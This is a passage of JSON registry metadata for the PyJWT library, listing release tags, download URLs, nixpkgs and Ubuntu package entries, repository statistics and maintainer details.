"published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.264Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python310Packages.pyjwt?channel=23.05\u0026repository_url=https://channels.nixos.org/nixos-23.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python310Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python310Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python310Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":31,"html_url":null,"role":null,"created_at":"2026-03-05T19:30:02.153Z","updated_at":"2026-03-05T19:30:02.153Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-23.05","url":"https://channels.nixos.org/nixos-23.05","ecosystem":"nixpkgs","default":false,"packages_count":101092,"maintainers_count":2622,"namespaces_count":0,"keywords_count":613,"github":"NixOS","metadata":{"funded_packages_count":183},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.882Z","updated_at":"2026-06-10T05:16:22.193Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/namespaces"}},{"id":13432487,"name":"pyjwt","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-07T20:03:54.901Z","latest_release_published_at":"2026-02-07T20:03:54.901Z","latest_release_number":"1.7.1-2ubuntu2","last_synced_at":"2026-03-07T20:41:51.053Z","created_at":"2026-02-07T20:03:54.528Z","updated_at":"2026-05-29T04:00:36.257Z","registry_url":"https://launchpad.net/ubuntu/+source/pyjwt","install_command":"apt-get install pyjwt","documentation_url":null,"metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python3-jwt","standards_version":"4.4.1","maintainer":"Debian Python Modules Team \u003cpython-modules-team@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 12), dh-python, python3-all, python3-cryptography (\u003e= 1.4), python3-pytest (\u003e= 3.9.0), python3-pytest-cov, python3-pytest-runner, python3-setuptools","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"crea